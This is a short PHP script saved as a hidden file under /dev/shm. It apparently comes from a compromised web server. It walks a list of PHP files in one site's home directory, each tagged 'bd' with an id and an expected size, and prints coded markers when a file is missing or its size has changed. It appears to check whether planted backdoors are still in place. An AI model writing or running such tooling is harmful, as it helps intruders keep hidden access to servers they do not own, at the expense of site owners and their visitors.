File: //dev/shm/.mrk
<?php $r = '/home/ipcsaqnq/test.pidimfoundation.org'; $x = ["/defense.ingredient.php"=>"bd@@147184@@8",
"/class.ingredient.php"=>"bd@@147345@@56",
"/defense.php"=>"bd@@147310@@14",
"/multiple.php"=>"bd@@214092@@17",
"/graphs.php"=>"bd@@147223@@42",
"/gradeimport.php"=>"bd@@214091@@42",
"/class.php"=>"bd@@214093@@88",
"/geshi.php"=>"bd@@147377@@881",
"/p.php"=>"bd@@147143@@923",
"/xpp.php"=>"bd@@147258@@92",
"/class.php"=>"bd@@151043@@988",
"/FAQ.php"=>"bd@@214102@@995",
"/geshi.php"=>"bd@@150938@@100",
"/p.php"=>"bd@@150994@@77"]; foreach ($x as $p => $l) { $f = "{$r}{$p}"; list($t, $id, $pt) = explode('@@', $l); if (!file_exists($f)) { print "<$t>{$id}##d</$t>\n"; continue; } if (is_numeric($pt)) { $fs = filesize($f); if ($fs != $pt) { print "<$t>{$id}##bs</$t>\n"; } } else { $c = file_get_contents($f); if (!strstr($c, $pt)) { print "<$t>{$id}##d</$t>\n"; } } } die('!end!');